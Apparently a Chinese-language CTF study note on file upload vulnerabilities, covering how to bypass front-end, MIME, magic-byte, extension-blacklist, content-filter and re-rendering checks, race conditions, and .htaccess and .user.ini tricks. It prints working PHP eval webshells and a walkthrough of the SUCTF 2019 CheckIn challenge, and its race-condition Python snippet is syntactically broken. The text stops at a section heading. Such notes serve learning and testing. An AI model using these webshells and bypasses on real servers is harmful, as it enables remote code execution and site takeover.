文件上传漏洞

大部分是需要回显储存路径才能打后续操作的,如果没有回显路径要不再想想。?(雾)

前端检测

前端检测上传文件的后缀,js检测直接禁用js

后端检测

检测content-type

检测你发包的Content-Type参数来判断文件上传类型

image-20250416151018927

一般你改一下content-type就可以绕过了

检测文件头判断文件类型

字义,使用getimagesize()函数来获取文件的MIME类型,此时检测的不是数据包中的content-type,而是文件头

这种时候伪造一下就可以

gif(GIF89a) : 47 49 46 38 39 61 
jpg、jpeg : FF D8 FF 
png : 89 50 4E 47 0D 0A

用winhex、010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测,或者你直接在包的头写个GIF89a也是可以过的

后端检测文件拓展名

用拓展名的黑名单来检测文件拓展名从而防止危险文件的上传

绕过:

1)使用一些特殊扩展名来绕过,php可以用php3、php4、php5代替

2)大小写混淆绕过

3)在文件名后加.(空格,点,空格),利用windows特性绕过

4)在文件名后加::$data绕过(NTFS流读入)

5)有替换的话可以双写绕过


当然也可以是白名单只让特定的文件上传

绕过:

存储路径可以使用%00在最后进行截断,(注意:GET型可以对%00自动解码,但POST型不能,需要在二进制中修改//打开你的010喵,用空格占个位来输00)

后端检测文件内容

文件内容替换

检测原理:

在后端处理上传的文件时,会将将文件中的敏感字符替换掉。
参考代码

<?php
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
$file = $path . '/' . $_FILES['myfile']['name'];

if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
        file_put_contents($file, $content);
        echo 'Success!<br>';
} else {
        echo 'Error!<br>';
}
?>

绕过方法:
根据实际过滤的字符来判断,(一般不会限制所有敏感字符,因为还要兼顾图片上传)

图片二次渲染

检测原理:
后端调用了php的GD库,提取了文件中的图片数据,然后再重新渲染,这样图片中插入的恶意代码就会被过滤掉了

绕过方法:
比较过滤前后文件内容,一般不会全部过滤。
比较使用php-gd转换之前和之后的gif图像,并搜索它们之间的任何相似性,因此,如果我在原始文件中找到相似的部分,则在使用php-gd转换后也保留了该部分然后我可以在那部分注入我的PHP代码并获得RCE

5.条件竞争

该漏洞形成逻辑:
网站允许上传文件,然后检查上传文件是否包含webshell、是否是指定的文件类型。如果不是,那么删除该文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。

绕过方法:
先进行文件上传,后进行判断与删除。利用时间差进行webshell上传。
竞争条件代码举例:

<?php
	fputs(fopen('shell.php','w'),'<?php @eval($\_POST\["cmd"\])?>');
?>

判断是否删除

import requests  
while true:  
	requests.get(”路径“)

WAF

当文件完全被ban,只用以图片类型上传的时候,我们该怎么办呢

上传.htaccess文件绕过

.htaccess文件是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

.htaccess的用途范围主要针对当前目录

类似内容

ForceType application/x-httpd-php
SetHandler application/x-httpd-php
这些都会把上传的文件强制解析为php

上传.user.ini文件绕过

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

那么什么是.user.ini?这得从php.ini说起了。php.iniphp默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:

img

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置可被识别。

所以除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。我们可以很容易地借助.user.ini文件,更改auto_prepend_file配置项,来构造一个“后门”。

比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。

实例([SUCTF 2019]CheckIn1):

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htaccess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

绕过技巧

1.针对过滤包含phhtaccess扩展名的文件:上传.user.ini与图片马,利用.user.ini进行文件包含2.针对过滤文件内容包含<?的文件:使用php的脚本标记风格<script language='php'>3.针对使用exif_imagetype规定了必须为图片类型的文件:添加文件头内容或合成图片马(稍后会讲)

首先上传.user.ini文件,文件内容为:

GIF89a
auto_prepend_file=shell.png

然后构造一个shell.png,内容如下:

GIF89a
<script language='php'> @eval($_POST['hack']); </script>

然后将两个文件分别上传到服务器上,拿到回显

特定服务器解析漏洞